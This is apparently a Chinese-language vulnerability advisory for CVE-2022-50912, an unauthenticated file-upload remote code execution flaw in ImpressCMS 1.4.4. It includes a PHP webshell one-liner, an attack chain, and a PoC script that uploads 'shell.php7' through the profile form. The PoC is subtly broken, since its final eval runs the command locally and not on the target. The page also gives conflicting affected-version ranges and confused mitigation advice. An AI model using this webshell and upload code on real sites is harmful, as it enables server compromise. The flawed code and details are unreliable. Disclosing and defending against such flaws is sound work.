IPBUF安全漏洞报告
English
CVE-2022-50912 CVSS 9.8 严重

CVE-2022-50912 ImpressCMS文件上传漏洞导致远程代码执行

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2022-50912
漏洞类型
文件上传漏洞
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ImpressCMS

相关标签

文件上传漏洞远程代码执行ImpressCMSCVE-2022-50912PHPwebshellCVSS 9.8

漏洞概述

CVE-2022-50912是ImpressCMS 1.4.4版本中存在的一个严重文件上传漏洞。该漏洞源于系统对文件扩展名过滤不严格,攻击者可以利用.php2、.php6、.php7、.phps、.pht等替代PHP扩展名绕过上传限制,成功上传恶意PHP文件到服务器。一旦恶意文件被成功部署,攻击者即可在服务器上执行任意PHP代码,从而完全控制受影响的Web服务器。此漏洞无需任何认证即可被利用,攻击者可通过网络直接发起攻击。由于CVSS评分高达9.8(满分10分),该漏洞被评定为严重级别,对互联网公开部署的ImpressCMS系统构成重大威胁。攻击者利用此漏洞可窃取敏感数据、植入后门、部署挖矿程序或进一步横向移动攻击内网其他系统。建议所有使用ImpressCMS 1.4.4及之前版本的用户立即采取防护措施。

技术细节

ImpressCMS 1.4.4的文件上传功能存在安全缺陷,系统仅检查了常见的.php扩展名,而未对.php2、.php6、.php7、.phps、.pht等替代扩展名进行过滤。这些扩展名在大多数Web服务器配置中会被当作PHP文件解析,导致恶意代码被执行。攻击者首先构造包含恶意PHP代码的文件(可使用<?php system($_GET['cmd']); ?>等webshell),然后将文件扩展名改为.php7或其他未过滤的扩展名,接着通过正常的文件上传接口上传该文件。上传成功后,攻击者通过HTTP请求访问上传的文件路径,并可通过GET参数执行任意系统命令。由于上传目录通常位于Web根目录下,恶意文件可直接被Web服务器执行,从而实现远程代码执行。

攻击链分析

STEP 1
步骤1
收集目标信息:识别目标网站使用ImpressCMS并确定版本为1.4.4或更早版本
STEP 2
步骤2
构造恶意文件:创建包含webshell代码的PHP文件,将扩展名改为.php7等未过滤的扩展名
STEP 3
步骤3
绕过上传验证:通过文件上传接口上传恶意文件,利用扩展名过滤不完善绕过检测
STEP 4
步骤4
访问恶意文件:通过HTTP请求访问上传的恶意文件路径
STEP 5
步骤5
执行任意代码:通过URL参数传递系统命令,在服务器上执行任意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php // CVE-2022-50912 PoC - ImpressCMS File Upload RCE // Target: ImpressCMS <= 1.4.4 // Exploit: Upload malicious PHP file with .php7 extension $target = 'http://target-website.com'; $upload_path = '/modules/profile/avatar.php7'; // Known upload path // Create malicious PHP file content $payload = '<?php system($_GET["cmd"]); ?>'; // Prepare multipart form data $boundary = '----WebKitFormBoundary' . bin2hex(random_bytes(8)); $body = '--' . $boundary . "\r\n"; $body .= 'Content-Disposition: form-data; name="avatar_file"; filename="shell.php7"' . "\r\n"; $body .= 'Content-Type: application/octet-stream' . "\r\n\r\n"; $body .= $payload . "\r\n"; $body .= '--' . $boundary . '--' . "\r\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target . '/user.php?op=update'); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $body); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Content-Type: multipart/form-data; boundary=' . $boundary ]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); // Execute command via uploaded shell eval('system($_GET["cmd"]);'); // Usage: ?cmd=whoami ?>

影响范围

ImpressCMS < 1.4.4

防御指南

临时缓解措施
立即在Web服务器配置中移除.php2、.php6、.php7、.phps、.pht等PHP脚本解析配置,同时将上传目录设置为不可执行权限(使用open_basedir限制访问),并临时启用WAF规则阻断.php后缀的所有文件上传请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表